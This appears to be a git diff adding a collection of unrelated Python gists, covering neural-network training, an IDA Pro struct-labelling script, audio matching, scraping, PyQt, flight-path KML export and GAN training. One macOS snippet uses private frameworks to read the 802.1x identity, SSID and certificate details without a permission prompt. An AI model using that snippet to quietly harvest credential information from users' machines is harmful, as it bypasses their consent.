+                        layers_types=[ReLU, ReLU, LogisticRegression],
+                        layers_sizes=[200, 200],
+                        dropout_rates=[0.2, 0.5, 0.5],
+                        # TODO if you have a big enough GPU, use these:
+                        #layers_types=[ReLU, ReLU, ReLU, ReLU, LogisticRegression],
+                        #layers_sizes=[2000, 2000, 2000, 2000],
+                        #dropout_rates=[0.2, 0.5, 0.5, 0.5, 0.5],
+                        n_outs=n_outs,
+                        max_norm=4.,
+                        fast_drop=True,
+                        debugprint=0)
+                else:
+                    print("Simple (regularized) DNN")
+                    return RegularizedNet(numpy_rng=numpy_rng, n_ins=n_features,
+                        layers_types=[ReLU, ReLU, LogisticRegression],
+                        layers_sizes=[200, 200],
+                        n_outs=n_outs,
+                        #L1_reg=0.001/x_train.shape[0],
+                        #L2_reg=0.001/x_train.shape[0],
+                        L1_reg=0.,
+                        L2_reg=1./x_train.shape[0],
+                        debugprint=0)
+
+            import matplotlib.pyplot as plt
+            plt.figure()
+            ax1 = plt.subplot(221)
+            ax2 = plt.subplot(222)
+            ax3 = plt.subplot(223)
+            ax4 = plt.subplot(224)  # TODO plot the updates of the weights
+            methods = ['sgd', 'adagrad', 'adadelta']
+            #methods = ['adadelta'] TODO if you want "good" results asap
+            for method in methods:
+                dnn = new_dnn(use_dropout)
+                print dnn, "using", method
+                dnn.fit(x_train, y_train, max_epochs=n_epochs, method=method, verbose=VERBOSE, plot=PLOT)
+                test_error = dnn.score(x_test, y_test)
+                print("score: %f" % (1. - test_error))
+                ax1.plot(numpy.log10(dnn._costs), label=method)
+                ax2.plot(numpy.log10(dnn._train_errors), label=method)
+                ax3.plot(numpy.log10(dnn._dev_errors), label=method)
+                #ax2.plot(dnn._train_errors, label=method)
+                #ax3.plot(dnn._dev_errors, label=method)
+                ax4.plot([test_error for _ in range(10)], label=method)
+            ax1.set_xlabel('epoch')
+            ax1.set_ylabel('cost (log10)')
+            ax2.set_xlabel('epoch')
+            ax2.set_ylabel('train error')
+            ax3.set_xlabel('epoch')
+            ax3.set_ylabel('dev error')
+            ax4.set_ylabel('test error')
+            plt.legend()
+            plt.savefig('training_' + name + '.png')
+
+
+    if MNIST:
+        from sklearn.datasets import fetch_mldata
+        mnist = fetch_mldata('MNIST original')
+        X = numpy.asarray(mnist.data, dtype='float32')
+        if SCALE:
+            #X = preprocessing.scale(X)
+            X /= 255.
+        y = numpy.asarray(mnist.target, dtype='int32')
+        print("Total dataset size:")
+        print("n samples: %d" % X.shape[0])
+        print("n features: %d" % X.shape[1])
+        print("n classes: %d" % len(set(y)))
+        x_train, x_test, y_train, y_test = cross_validation.train_test_split(
+                    X, y, test_size=0.2, random_state=42)
+
+        train_models(x_train, y_train, x_test, y_test, X.shape[1],
+                     len(set(y)), numpy_rng=numpy.random.RandomState(123),
+                     name='MNIST')
+
+
+    if DIGITS:
+        digits = datasets.load_digits()
+        data = numpy.asarray(digits.data, dtype='float32')
+        target = numpy.asarray(digits.target, dtype='int32')
+        nudged_x, nudged_y = nudge_dataset(data, target)
+        if SCALE:
+            nudged_x = preprocessing.scale(nudged_x)
+        x_train, x_test, y_train, y_test = cross_validation.train_test_split(
+                nudged_x, nudged_y, test_size=0.2, random_state=42)
+        train_models(x_train, y_train, x_test, y_test, nudged_x.shape[1],
+                     len(set(target)), numpy_rng=numpy.random.RandomState(123),
+                     name='digits')
+
+    if FACES:
+        import logging
+        logging.basicConfig(level=logging.INFO,
+                            format='%(asctime)s %(message)s')
+        lfw_people = datasets.fetch_lfw_people(min_faces_per_person=70,
+                                               resize=0.4)
+        X = numpy.asarray(lfw_people.data, dtype='float32')
+        if SCALE:
+            X = preprocessing.scale(X)
+        y = numpy.asarray(lfw_people.target, dtype='int32')
+        target_names = lfw_people.target_names
+        print("Total dataset size:")
+        print("n samples: %d" % X.shape[0])
+        print("n features: %d" % X.shape[1])
+        print("n classes: %d" % target_names.shape[0])
+        x_train, x_test, y_train, y_test = cross_validation.train_test_split(
+                    X, y, test_size=0.2, random_state=42)
+
+        train_models(x_train, y_train, x_test, y_test, X.shape[1],
+                     len(set(y)), numpy_rng=numpy.random.RandomState(123),
+                     name='faces')
+
+    if TWENTYNEWSGROUPS:
+        from sklearn.feature_extraction.text import TfidfVectorizer
+        newsgroups_train = datasets.fetch_20newsgroups(subset='train')
+        vectorizer = TfidfVectorizer(encoding='latin-1', max_features=10000)
+        #vectorizer = HashingVectorizer(encoding='latin-1')
+        x_train = vectorizer.fit_transform(newsgroups_train.data)
+        x_train = numpy.asarray(x_train.todense(), dtype='float32')
+        y_train = numpy.asarray(newsgroups_train.target, dtype='int32')
+        newsgroups_test = datasets.fetch_20newsgroups(subset='test')
+        x_test = vectorizer.transform(newsgroups_test.data)
+        x_test = numpy.asarray(x_test.todense(), dtype='float32')
+        y_test = numpy.asarray(newsgroups_test.target, dtype='int32')
+        train_models(x_train, y_train, x_test, y_test, x_train.shape[1],
+                     len(set(y_train)),
+                     numpy_rng=numpy.random.RandomState(123),
+                     svms=False, nb=True, deepnn=True,
+                     name='20newsgroups')
\ No newline at end of file
diff --git a/hard-gists/8a16c8e30c954aec014d/._snippet.py b/hard-gists/8a16c8e30c954aec014d/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/8a16c8e30c954aec014d/._snippet.py differ
diff --git a/hard-gists/8a16c8e30c954aec014d/snippet.py b/hard-gists/8a16c8e30c954aec014d/snippet.py
new file mode 100644
index 00000000..c4b0b76c
--- /dev/null
+++ b/hard-gists/8a16c8e30c954aec014d/snippet.py
@@ -0,0 +1,90 @@
+import idaapi
+import idc
+#import idautils
+import sys
+
+#NOTE: may have to run this a few times to get to the end of the IDB, haven't bothered fixing this
+
+def add_struct_to_idb(name):
+	idc.Til2Idb(-1, name)
+
+
+def find_or_create_struct(name):
+	sid = idc.GetStrucIdByName(name)
+	if sid == idc.BADADDR:
+		sid = idc.AddStrucEx(-1, name, 0)
+		print "added struct \"{0}\", id: {1}".format(name, sid)
+	else:
+		print "struct \"{0}\" already exists, id: ".format(name, sid)
+	
+	add_struct_to_idb(name)
+	
+	return sid
+
+
+def create_CFLString_struct():
+	sid = find_or_create_struct("CFLString")
+	print idc.AddStrucMember(sid, "magic", -1, idc.FF_DWRD, -1, 4)
+	print idc.AddStrucMember(sid, "unk4", -1, idc.FF_DWRD, -1, 4)
+	print idc.AddStrucMember(sid, "cstr", -1, idc.FF_BYTE, -1, 0)
+	
+	return sid
+
+
+def apply_struct(ea, sid, size):
+	if size == -1:
+		size = idc.GetStrucSize(sid)
+	
+	idc.MakeUnknown(ea, size, idc.DOUNK_DELNAMES)
+	
+	idaapi.doStruct(ea, size, sid)
+	
+	return size
+
+
+def main():
+	CFLString_sid = create_CFLString_struct()
+	
+	# limit search to .rodata
+	seg_sel = idc.SegByName(".rodata")
+	ea = idc.SegByBase(seg_sel)
+	end_ea = idc.SegEnd(ea)
+	
+	while ea < end_ea:
+		#find all instances of magic==0x756 and unk4==0x7FFFFFFF
+		if (idc.Dword(ea), idc.Dword(ea + 4)) == (0x756, 0x7FFFFFFF):
+			# read bytes until NULL is found
+			index = 0
+			cstr  = ""
+			while True:
+				char = chr(idc.Byte(ea + 8 + index))
+				if char == "\x00":
+					break
+				index += 1
+				cstr  += char
+			
+			name_str = cstr
+			for bad_char in ["-", ":", ";", "=", "(", ")", " ", "/", "\\", "<", ">"]:
+				name_str = name_str.replace(bad_char, "_")
+			
+			#XXX: lazy/unreliable way to deal with name collisions
+			suffix = 0
+			while not idc.MakeNameEx(ea, "cflstr_{0}__{1}".format(name_str, suffix), idc.SN_CHECK | idc.SN_NOWARN):
+				suffix += 1
+				# something probably went horribly wrong
+				if suffix > 100:
+					print "error creating name at address {0}".format(hex(ea))
+					sys.exit(1)
+			
+			# size = magic + unk4 + string_length + NULL_byte
+			print "applying at {0}".format(hex(ea))
+			struct_size = apply_struct(ea, CFLString_sid, 8 + len(cstr) + 1)
+			
+			# preserve alignment
+			ea += (struct_size & ~3)
+		else:
+			ea += 4
+
+
+if __name__ == "__main__":
+	main()
diff --git a/hard-gists/8a8095721ee81d49f16c/._snippet.py b/hard-gists/8a8095721ee81d49f16c/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/8a8095721ee81d49f16c/._snippet.py differ
diff --git a/hard-gists/8a8095721ee81d49f16c/snippet.py b/hard-gists/8a8095721ee81d49f16c/snippet.py
new file mode 100644
index 00000000..732f74e2
--- /dev/null
+++ b/hard-gists/8a8095721ee81d49f16c/snippet.py
@@ -0,0 +1,84 @@
+#!/usr/bin/python2
+
+import sys
+
+import numpy
+from scipy.io import wavfile
+from scipy.signal import fftconvolve
+
+def usage():
+    print >> sys.stderr, "Usage: wavgrep.py --like|--similar|--this needle.wav haystack.wav"
+    sys.exit(2)
+
+if len(sys.argv) != 4:
+    usage()
+
+
+if sys.argv[1] in ('--like', '--similar', '--this'):
+    mode = sys.argv[1][2:]
+else:
+    usage()
+
+needle_rate, needle = wavfile.read(sys.argv[2])
+haystack_rate, haystack = wavfile.read(sys.argv[3])
+
+if needle_rate != haystack_rate:
+    print >> sys.stderr, "Sample rates are not the same"
+    sys.exit(2)
+
+if len(needle.shape) != 1:
+    print >> sys.stderr, "Needle file is not mono"
+    sys.exit(2)
+
+if len(haystack.shape) != 1:
+    print >> sys.stderr, "Haystack file is not mono"
+    sys.exit(2)
+
+if len(needle) == 0:
+    print >> sys.stderr, "Needle is empty"
+    sys.exit(2)
+
+if len(needle) > len(haystack):
+    print >> sys.stderr, "Needle is longer than haystack"
+    sys.exit(2)
+
+needle = numpy.array(needle, dtype=numpy.float64)
+needle_len = len(needle)
+haystack = numpy.array(haystack, dtype=numpy.float64)
+haystack_len = len(haystack)
+
+needle_norm = needle.dot(needle)
+
+if needle_norm < 1000.0:
+    print >> sys.stderr, "The needle is almost silent"
+    sys.exit(2)
+
+haystack_squared = numpy.hstack(([0.0], haystack * haystack))
+haystack_cum_norm = numpy.cumsum(haystack_squared)
+haystack_norm_at = haystack_cum_norm[needle_len:haystack_len + 1] - haystack_cum_norm[0:haystack_len + 1 - needle_len]
+
+correlation_at = fftconvolve(haystack, needle[::-1], mode='valid')
+
+difference_norm_at = haystack_norm_at + needle_norm - 2 * correlation_at
+
+cos2phi_at = correlation_at * correlation_at / (haystack_norm_at + 0.000001) / needle_norm
+
+gain_at = correlation_at / needle_norm
+descaled_difference_norm_at = haystack_norm_at + needle_norm * gain_at * gain_at - 2 * gain_at * correlation_at
+
+at = 0
+if mode == 'like':
+    at = numpy.argmax(correlation_at)
+if mode == 'similar':
+    at = numpy.argmax(cos2phi_at)
+if mode == 'this':
+    at = numpy.argmin(difference_norm_at)
+
+
+print "The needle starts at sample: %d" % (at,)
+print "Gain (dB): %3.2f" % (20.0 * numpy.log10(numpy.abs(gain_at[at]) + 0.000001),)
+print "SNR (dB), treating gain change as noise: %3.2f" % (
+    10.0 * numpy.log10(gain_at[at] * gain_at[at] * needle_norm / (difference_norm_at[at] + 0.000001)),)
+print "SNR (dB), treating gain change as signal: %3.2f" % (
+    10.0 * numpy.log10(gain_at[at] * gain_at[at] * needle_norm / (descaled_difference_norm_at[at] + 0.000001)),)
+
diff --git a/hard-gists/8abc96b010820970f304/._snippet.py b/hard-gists/8abc96b010820970f304/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/8abc96b010820970f304/._snippet.py differ
diff --git a/hard-gists/8abc96b010820970f304/snippet.py b/hard-gists/8abc96b010820970f304/snippet.py
new file mode 100644
index 00000000..bf7cb626
--- /dev/null
+++ b/hard-gists/8abc96b010820970f304/snippet.py
@@ -0,0 +1,39 @@
+import json, io, codecs, os
+from scrapy.xlib.pydispatch import dispatcher
+from scrapy import signals
+
+class BeevaPipeline(object):
+ 
+    def __init__(self):
+        dispatcher.connect(self.spider_opened, signals.spider_opened)
+        dispatcher.connect(self.spider_closed, signals.spider_closed)
+
+    def spider_opened(self, spider):
+        self.filename = '%s_output.json' % spider.name
+        self.file = codecs.open(self.filename, 'w', encoding='utf-8')
+        self.file.write('[')
+ 
+    def process_item(self, item, spider):
+        line = json.dumps(dict(item), ensure_ascii=False) + ",\n"
+        self.file.write(line)
+        return item
+ 
+    def spider_closed(self, spider):
+    	self.file.seek(-2, os.SEEK_END)
+    	self.file.truncate()
+        self.file.write(']')
+        self.file.close()
+
+
+class JsonWithEncodingPipeline(object):
+
+    def __init__(self):
+        self.file = codecs.open('scraped_data_utf8.json', 'w', encoding='utf-8')
+
+    def process_item(self, item, spider):
+        line = json.dumps(dict(item), ensure_ascii=False) + "\n"
+        self.file.write(line)
+        return item
+
+    def spider_closed(self, spider):
+        self.file.close()
\ No newline at end of file
diff --git a/hard-gists/8abd37bf2d60cce6e01d/._snippet.py b/hard-gists/8abd37bf2d60cce6e01d/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/8abd37bf2d60cce6e01d/._snippet.py differ
diff --git a/hard-gists/8abd37bf2d60cce6e01d/snippet.py b/hard-gists/8abd37bf2d60cce6e01d/snippet.py
new file mode 100644
index 00000000..391eacb0
--- /dev/null
+++ b/hard-gists/8abd37bf2d60cce6e01d/snippet.py
@@ -0,0 +1,66 @@
+from PyQt5.QtCore import *
+from PyQt5.QtWidgets import *
+from itertools import count, islice
+
+class Threaded(QObject):
+    result=pyqtSignal(int)
+
+    def __init__(self, parent=None, **kwargs):
+        super().__init__(parent, **kwargs)
+
+    @pyqtSlot()
+    def start(self): print("Thread started")
+
+    @pyqtSlot(int)
+    def calculatePrime(self, n):
+        primes=(n for n in count(2) if all(n % d for d in range(2, n)))
+        self.result.emit(list(islice(primes, 0, n))[-1])
+
+class GUI(QWidget):
+    requestPrime=pyqtSignal(int)
+
+    def __init__(self, parent=None, **kwargs):
+        super().__init__(parent, **kwargs)
+
+        self._thread=QThread()
+        self._threaded=Threaded(result=self.displayPrime)
+        self.requestPrime.connect(self._threaded.calculatePrime)
+        self._thread.started.connect(self._threaded.start)
+        self._threaded.moveToThread(self._thread)
+        qApp.aboutToQuit.connect(self._thread.quit)
+        self._thread.start()
+
+        l=QVBoxLayout(self)
+        self._iterationLE=QLineEdit(self, placeholderText="Iteration (n)")
+        l.addWidget(self._iterationLE)
+        self._requestBtn=QPushButton(
+            "Calculate Prime", self, clicked=self.primeRequested)
+        l.addWidget(self._requestBtn)
+        self._busy=QProgressBar(self)
+        l.addWidget(self._busy)
+        self._resultLbl=QLabel("Result:", self)
+        l.addWidget(self._resultLbl)
+
+    @pyqtSlot()
+    def primeRequested(self):
+        try: n=int(self._iterationLE.text())
+        except: return
+        self.requestPrime.emit(n)
+        self._busy.setRange(0,0)
+        self._iterationLE.setEnabled(False)
+        self._requestBtn.setEnabled(False)
+
+    @pyqtSlot(int)
+    def displayPrime(self, prime):
+        self._resultLbl.setText("Result: {}".format(prime))
+        self._busy.setRange(0,100)
+        self._iterationLE.setEnabled(True)
+        self._requestBtn.setEnabled(True)
+
+if __name__=="__main__":
+    from sys import exit, argv
+
+    a=QApplication(argv)
+    g=GUI()
+    g.show()
+    exit(a.exec_())
\ No newline at end of file
diff --git a/hard-gists/8abe1d2f62400f87958d/._snippet.py b/hard-gists/8abe1d2f62400f87958d/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/8abe1d2f62400f87958d/._snippet.py differ
diff --git a/hard-gists/8abe1d2f62400f87958d/snippet.py b/hard-gists/8abe1d2f62400f87958d/snippet.py
new file mode 100644
index 00000000..d2b716c2
--- /dev/null
+++ b/hard-gists/8abe1d2f62400f87958d/snippet.py
@@ -0,0 +1,29 @@
+#!/usr/bin/env python3
+
+import simplekml
+import urllib.request
+try:
+    import simplejson as json
+except ImportError:
+    import json
+
+fr24_flight_code = ""
+output_file = ""
+api_url = "http://krk.fr24.com/_external/planedata_json.1.3.php?f={0}".format(fr24_flight_code)
+
+kml = simplekml.Kml()
+html = urllib.request.urlopen(api_url)
+flight = json.loads(html.read().decode('utf-8'))
+trail = flight["trail"]
+temp_path = [trail[x:x+3] for x in range(0, len(trail), 3)]
+# Rearrange lat/long and format as tuple
+path = [(x[1], x[0], x[2]*3.048) for x in reversed(temp_path)]
+flight_path = kml.newlinestring(
+                name=fr24_flight_code,
+                description="Flight path of {0}".format(fr24_flight_code),
+                coords=path
+                )
+flight_path.altitudemode = simplekml.AltitudeMode.absolute
+flight_path.style.linestyle.width = 3
+flight_path.style.linestyle.color = simplekml.Color.red
+kml.save(output_file)
diff --git a/hard-gists/8ac8be9010ebfa59c599d7915e9a7a47/._snippet.py b/hard-gists/8ac8be9010ebfa59c599d7915e9a7a47/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/8ac8be9010ebfa59c599d7915e9a7a47/._snippet.py differ
diff --git a/hard-gists/8ac8be9010ebfa59c599d7915e9a7a47/snippet.py b/hard-gists/8ac8be9010ebfa59c599d7915e9a7a47/snippet.py
new file mode 100644
index 00000000..105fae6f
--- /dev/null
+++ b/hard-gists/8ac8be9010ebfa59c599d7915e9a7a47/snippet.py
@@ -0,0 +1,24 @@
+# https://people.eecs.berkeley.edu/~kjamieson/hyperband.html
+# you need to write the following hooks for your custom problem
+from problem import get_random_hyperparameter_configuration,run_then_return_val_loss
+
+max_iter = 81  # maximum iterations/epochs per configuration
+eta = 3 # defines downsampling rate (default=3)
+logeta = lambda x: log(x)/log(eta)
+s_max = int(logeta(max_iter))  # number of unique executions of Successive Halving (minus one)
+B = (s_max+1)*max_iter  # total number of iterations (without reuse) per execution of Succesive Halving (n,r)
+
+#### Begin Finite Horizon Hyperband outlerloop. Repeat indefinetely.
+for s in reversed(range(s_max+1)):
+    n = int(ceil(B/max_iter/(s+1)*eta**s)) # initial number of configurations
+    r = max_iter*eta**(-s) # initial number of iterations to run configurations for
+
+    #### Begin Finite Horizon Successive Halving with (n,r)
+    T = [ get_random_hyperparameter_configuration() for i in range(n) ] 
+    for i in range(s+1):
+        # Run each of the n_i configs for r_i iterations and keep best n_i/eta
+        n_i = n*eta**(-i)
+        r_i = r*eta**(i)
+        val_losses = [ run_then_return_val_loss(num_iters=r_i,hyperparameters=t) for t in T ]
+        T = [ T[i] for i in argsort(val_losses)[0:int( n_i/eta )] ]
+    #### End Finite Horizon Successive Halving with (n,r)
\ No newline at end of file
diff --git a/hard-gists/8ad859f30438f3be149fe9751391d037/._snippet.py b/hard-gists/8ad859f30438f3be149fe9751391d037/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/8ad859f30438f3be149fe9751391d037/._snippet.py differ
diff --git a/hard-gists/8ad859f30438f3be149fe9751391d037/snippet.py b/hard-gists/8ad859f30438f3be149fe9751391d037/snippet.py
new file mode 100644
index 00000000..da1d5f86
--- /dev/null
+++ b/hard-gists/8ad859f30438f3be149fe9751391d037/snippet.py
@@ -0,0 +1,66 @@
+# This was all run from user space
+# I haven't tested it with root
+# ... but it didn't prompt for any permissions under userspace ^_^
+# Tested on 10.11.5
+
+import objc
+from Foundation import NSBundle
+EAP8021X_bundle = NSBundle.bundleWithPath_('/System/Library/PrivateFrameworks/EAP8021X.framework')
+Security_bundle = NSBundle.bundleWithIdentifier_('com.apple.security')
+
+kEAPOLClientDomainUser = 1
+kEAPOLClientDomainSystem = 3
+
+E_functions = [
+               ('EAPOLClientConfigurationCopyProfiles', '@@'),
+               ('EAPOLClientConfigurationCopyAllLoginWindowProfiles', '@@'),
+               ('EAPOLClientConfigurationCopyAllSystemProfiles', '@@'),
+               ('EAPOLClientConfigurationCreate', '@^@'),
+               ('EAPOLClientConfigurationGetProfileWithID', '@@@'),
+               ('EAPOLClientItemIDCopyIdentity', '@@i'),
+               ('EAPOLClientItemIDCreateWithProfile', '@@'),
+               ('EAPOLClientProfileGetAuthenticationProperties', '@@'),
+               ('EAPOLClientProfileGetUserDefinedName', '@@'),
+               ('EAPOLClientProfileGetWLANSSIDAndSecurityType', '@@o^@'),
+               ('EAPOLClientProfileGetID', '@@'),
+               ('EAPOLControlCopyStateAndStatus', 'i*o^io^@'),
+               ('EAPSecCertificateCopyAttributesDictionary', '@@'),
+               ('EAPSecCertificateCopyUserNameString', '@@'),
+              ]
+
+S_functions = [
+               ('SecIdentityCopyCertificate', 'i@o^@'),
+               ('SecCertificateCopyValues', '@@^@o^@'),
+               ('SecCertificateCopyData', '@@'),
+              ]
+
+objc.loadBundleFunctions(EAP8021X_bundle, globals(), E_functions)
+objc.loadBundleFunctions(Security_bundle, globals(), S_functions)
+
+# eap_config contains details about the current EAP session
+result, status, eap_config = EAPOLControlCopyStateAndStatus('en0', None, None)
+cfg = EAPOLClientConfigurationCreate(None)
+# The UniqueIdentifier can be used to look up the 802.1x configuration in use
+client_profile = EAPOLClientConfigurationGetProfileWithID(cfg, eap_config['UniqueIdentifier'])
+# auth_dict contains the certs and security configuration
+auth_dict      = EAPOLClientProfileGetAuthenticationProperties(client_profile)
+# display_name is the informal name for the config
+display_name = EAPOLClientProfileGetUserDefinedName(client_profile)
+# ssid and security_type for the config
+ssid_cfdata, security_type = EAPOLClientProfileGetWLANSSIDAndSecurityType(client_profile, None)
+ssid = str(ssid_cfdata)
+# Find out the associated identity
+client_id    = EAPOLClientItemIDCreateWithProfile(client_profile)
+identity     = EAPOLClientItemIDCopyIdentity(client_id, kEAPOLClientDomainSystem)
+result, cert = SecIdentityCopyCertificate(identity, None)
+# This dict contains very basic information like CommonName for the identity's cert
+id_dict      = EAPSecCertificateCopyAttributesDictionary(cert)
+# username   = EAPSecCertificateCopyUserNameString(cert)
+
+# !!! all OID / x509v3 details about the user cert in a dict
+cert_details, errors = SecCertificateCopyValues(cert, None, None)
+
+# Public cert used by identity
+cert_bytes = SecCertificateCopyData(cert)
+# You can write str(cert_bytes) back out to a file and it'll be the
+# DER .cer certificate of the public cert of the 802.1x identity
diff --git a/hard-gists/8af030b2dd654273c5bc/._snippet.py b/hard-gists/8af030b2dd654273c5bc/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/8af030b2dd654273c5bc/._snippet.py differ
diff --git a/hard-gists/8af030b2dd654273c5bc/snippet.py b/hard-gists/8af030b2dd654273c5bc/snippet.py
new file mode 100644
index 00000000..96651be7
--- /dev/null
+++ b/hard-gists/8af030b2dd654273c5bc/snippet.py
@@ -0,0 +1,246 @@
+import sys
+sys.path.append('..')
+
+import os
+import json
+from time import time
+import numpy as np
+from tqdm import tqdm
+from matplotlib import pyplot as plt
+from sklearn.externals import joblib
+
+import theano
+import theano.tensor as T
+from theano.sandbox.cuda.dnn import dnn_conv
+
+from lib import activations
+from lib import updates
+from lib import inits
+from lib.vis import color_grid_vis
+from lib.rng import py_rng, np_rng
+from lib.ops import batchnorm, conv_cond_concat, deconv, dropout, l2normalize
+from lib.metrics import nnc_score, nnd_score
+from lib.theano_utils import floatX, sharedX
+from lib.data_utils import OneHot, shuffle, iter_data, center_crop, patch
+from lib.cv2_utils import min_resize
+
+from load import imagenet
+
+def transform(X):
+    X = [min_resize(x, npx) for x in X]
+    X = [center_crop(x, npx) for x in X]
+    return floatX(X).transpose(0, 3, 1, 2)/127.5 - 1.
+
+def inverse_transform(X):
+    X = (X.reshape(-1, nc, npx, npx).transpose(0, 2, 3, 1)+1.)/2.
+    return X
+
+nvis = 400
+b1 = 0.5
+nc = 3
+ny = 10
+nbatch = 128
+npx = 32
+nz = 256
+ndf = 128
+ngf = 128
+nx = nc*npx*npx
+niter = 30
+niter_decay = 30
+lr = 0.0002
+# ntrain = 100000
+ntrain = 1281167
+
+tr_data, te_data, tr_stream, val_stream, te_stream = imagenet(ntrain=ntrain)
+
+te_handle = te_data.open()
+vaX, vaY = te_data.get_data(te_handle, slice(0, 10000))
+vaX = transform(vaX)
+
+desc = 'imagenet_gan_pretrain_128f_relu_lrelu_7l_3x3_256z'
+model_dir = 'models/%s'%desc
+samples_dir = 'samples/%s'%desc
+if not os.path.exists(model_dir):
+    os.makedirs(model_dir)
+if not os.path.exists(samples_dir):
+    os.makedirs(samples_dir)
+
+relu = activations.Rectify()
+sigmoid = activations.Sigmoid()
+lrelu = activations.LeakyRectify()
+tanh = activations.Tanh()
+bce = T.nnet.binary_crossentropy
+
+gifn = inits.Normal(scale=0.02)
+difn = inits.Normal(scale=0.02)
+gain_ifn = inits.Normal(loc=1., scale=0.02)
+bias_ifn = inits.Constant(c=0.)
+
+gw  = gifn((nz, ngf*4*4*4), 'gw')
+gg = gain_ifn((ngf*4*4*4), 'gg')
+gb = bias_ifn((ngf*4*4*4), 'gb')
+gw2 = gifn((ngf*4, ngf*4, 3, 3), 'gw2')
+gg2 = gain_ifn((ngf*4), 'gg2')
+gb2 = bias_ifn((ngf*4), 'gb2')
+gw3 = gifn((ngf*4, ngf*2, 3, 3), 'gw3')
+gg3 = gain_ifn((ngf*2), 'gg3')
+gb3 = bias_ifn((ngf*2), 'gb3')
+gw4 = gifn((ngf*2, ngf*2, 3, 3), 'gw4')
+gg4 = gain_ifn((ngf*2), 'gg4')
+gb4 = bias_ifn((ngf*2), 'gb4')
+gw5 = gifn((ngf*2, ngf, 3, 3), 'gw5')
+gg5 = gain_ifn((ngf), 'gg5')
+gb5 = bias_ifn((ngf), 'gb5')
+gw6 = gifn((ngf, ngf, 3, 3), 'gwx')
+gg6 = gain_ifn((ngf), 'gg6')
+gb6 = bias_ifn((ngf), 'gb6')
+gwx = gifn((ngf, nc, 3, 3), 'gwx')
+
+dw  = difn((ndf, nc, 3, 3), 'dw')
+dw2 = difn((ndf, ndf, 3, 3), 'dw2')
+dg2 = gain_ifn((ndf), 'dg2')
+db2 = bias_ifn((ndf), 'db2')
+dw3 = difn((ndf*2, ndf, 3, 3), 'dw3')
+dg3 = gain_ifn((ndf*2), 'dg3')
+db3 = bias_ifn((ndf*2), 'db3')
+dw4 = difn((ndf*2, ndf*2, 3, 3), 'dw4')
+dg4 = gain_ifn((ndf*2), 'dg4')
+db4 = bias_ifn((ndf*2), 'db4')
+dw5 = difn((ndf*4, ndf*2, 3, 3), 'dw5')
+dg5 = gain_ifn((ndf*4), 'dg5')
+db5 = bias_ifn((ndf*4), 'db5')
+dw6 = difn((ndf*4, ndf*4, 3, 3), 'dw6')
+dg6 = gain_ifn((ndf*4), 'dg6')
+db6 = bias_ifn((ndf*4), 'db6')
+dwy = difn((ndf*4*4*4, 1), 'dwy')
+
+gen_params = [gw, gg, gb, gw2, gg2, gb2, gw3, gg3, gb3, gw4, gg4, gb4, gw5, gg5, gb5, gw6, gg6, gb6, gwx]
+discrim_params = [dw, dw2, dg2, db2, dw3, dg3, db3, dw4, dg4, db4, dw5, dg5, db5, dw6, dg6, db6, dwy]
+
+def gen(Z, w, g, b, w2, g2, b2, w3, g3, b3, w4, g4, b4, w5, g5, b5, w6, g6, b6, wx):
+    h = relu(batchnorm(T.dot(Z, w), g=g, b=b))
+    h = h.reshape((h.shape[0], ngf*4, 4, 4))
+    h2 = relu(batchnorm(deconv(h, w2, subsample=(2, 2), border_mode=(1, 1)), g=g2, b=b2))
+    h3 = relu(batchnorm(deconv(h2, w3, subsample=(1, 1), border_mode=(1, 1)), g=g3, b=b3))
+    h4 = relu(batchnorm(deconv(h3, w4, subsample=(2, 2), border_mode=(1, 1)), g=g4, b=b4))
+    h5 = relu(batchnorm(deconv(h4, w5, subsample=(1, 1), border_mode=(1, 1)), g=g5, b=b5))
+    h6 = relu(batchnorm(deconv(h5, w6, subsample=(2, 2), border_mode=(1, 1)), g=g6, b=b6))
+    x = tanh(deconv(h6, wx, subsample=(1, 1), border_mode=(1, 1)))
+    return x
+
+def discrim(X, w, w2, g2, b2, w3, g3, b3, w4, g4, b4, w5, g5, b5, w6, g6, b6, wy):
+    h = lrelu(dnn_conv(X, w, subsample=(1, 1), border_mode=(1, 1)))
+    h2 = lrelu(batchnorm(dnn_conv(h, w2, subsample=(2, 2), border_mode=(1, 1)), g=g2, b=b2))
+    h3 = lrelu(batchnorm(dnn_conv(h2, w3, subsample=(1, 1), border_mode=(1, 1)), g=g3, b=b3))
+    h4 = lrelu(batchnorm(dnn_conv(h3, w4, subsample=(2, 2), border_mode=(1, 1)), g=g4, b=b4))
+    h5 = lrelu(batchnorm(dnn_conv(h4, w5, subsample=(1, 1), border_mode=(1, 1)), g=g5, b=b5))
+    h6 = lrelu(batchnorm(dnn_conv(h5, w6, subsample=(2, 2), border_mode=(1, 1)), g=g6, b=b6))
+    h6 = T.flatten(h6, 2)
+    y = sigmoid(T.dot(h6, wy))
+    return y
+
+X = T.tensor4()
+Z = T.matrix()
+
+gX = gen(Z, *gen_params)
+
+p_real = discrim(X, *discrim_params)
+p_gen = discrim(gX, *discrim_params)
+
+d_cost_real = bce(p_real, T.ones(p_real.shape)).mean()
+d_cost_gen = bce(p_gen, T.zeros(p_gen.shape)).mean()
+g_cost_d = bce(p_gen, T.ones(p_gen.shape)).mean()
+
+d_cost = d_cost_real + d_cost_gen
+g_cost = g_cost_d
+
+cost = [g_cost, d_cost, g_cost_d, d_cost_real, d_cost_gen]
+
+lrt = sharedX(lr)
+d_updater = updates.Adam(lr=lrt, b1=b1)
+g_updater = updates.Adam(lr=lrt, b1=b1)
+d_updates = d_updater(discrim_params, d_cost)
+g_updates = g_updater(gen_params, g_cost)
+updates = d_updates + g_updates
+
+print 'COMPILING'
+t = time()
+_train_g = theano.function([X, Z], cost, updates=g_updates)
+_train_d = theano.function([X, Z], cost, updates=d_updates)
+_gen = theano.function([Z], gX)
+print '%.2f seconds to compile theano functions'%(time()-t)
+
+vis_idxs = py_rng.sample(np.arange(len(vaX)), nvis)
+vaX_vis = inverse_transform(vaX[vis_idxs])
